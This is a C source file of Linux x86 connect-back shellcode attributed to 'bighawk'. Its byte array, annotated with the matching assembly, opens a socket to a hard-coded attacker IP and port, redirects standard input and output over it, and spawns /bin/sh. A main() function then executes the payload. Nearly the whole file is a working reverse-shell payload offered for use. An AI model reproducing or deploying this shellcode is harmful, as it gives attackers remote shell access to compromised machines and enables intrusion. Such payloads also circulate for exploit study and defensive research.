/* 77 bytes connect-back shellcode - linux-x86
 * - by bighawk (bighawk@warfare.com)
 *
 * This shellcode connects back to you
 *
 */

#define IPADDR          "\x31\x03\x03\x07" 
#define PORT            "\x27\x10"

char code[] =

   "\x31\xdb"			// xor     ebx, ebx
   "\xf7\xe3"			// mul	   ebx
   "\xb0\x66"			// mov     al, 102
   "\x53"			// push    ebx
   "\x43"			// inc     ebx
   "\x53"			// push    ebx
   "\x43"			// inc     ebx
   "\x53"			// push    ebx
   "\x89\xe1"			// mov     ecx, esp
   "\x4b"			// dec     ebx
   "\xcd\x80"			// int     80h
   "\x89\xc7"			// mov     edi, eax
   "\x68\x7f"IPADDR		// push    dword IPADDR
   "\x66\x68"PORT		// push    word PORT
   "\x43"			// inc     ebx
   "\x66\x53"			// push	   bx
   "\x89\xe6"			// mov	   esi, esp
   "\xb0\x10"			// mov	   al, 16
   "\x50"			// push    eax
   "\x56"			// push	   esi
   "\x57"			// push	   edi
   "\x89\xe1"			// mov	   ecx, esp
   "\x43"			// inc	   ebx
   "\xb0\x66"			// mov	   al, 102
   "\xcd\x80"			// int	   80h
   "\x89\xd9"			// mov	   ecx, ebx
   "\x89\xfb"			// mov     ebx, edi
   "\xb0\x3f"			// mov     al, 63
   "\x49"			// dec     ecx
   "\xcd\x80"			// int     80h
   "\x41"			// inc     ecx
   "\xe2\xf8"			// loop    duploop	
   "\x51"			// push	   ecx
   "\x68\x6e\x2f\x73\x68"	// push    dword 68732f6eh
   "\x68\x2f\x2f\x62\x69"	// push    dword 69622f2fh
   "\x89\xe3"			// mov     ebx, esp
   "\x51"			// push    ecx
   "\x53"			// push    ebx
   "\x89\xe1"			// mov     ecx, esp
   "\xb0\x0b"			// mov     al, 11
   "\xcd\x80";			// int     80h


main() {
  void (*a)() = (void *)code;
  printf("size: %d bytes\n", strlen(code));
  a();
}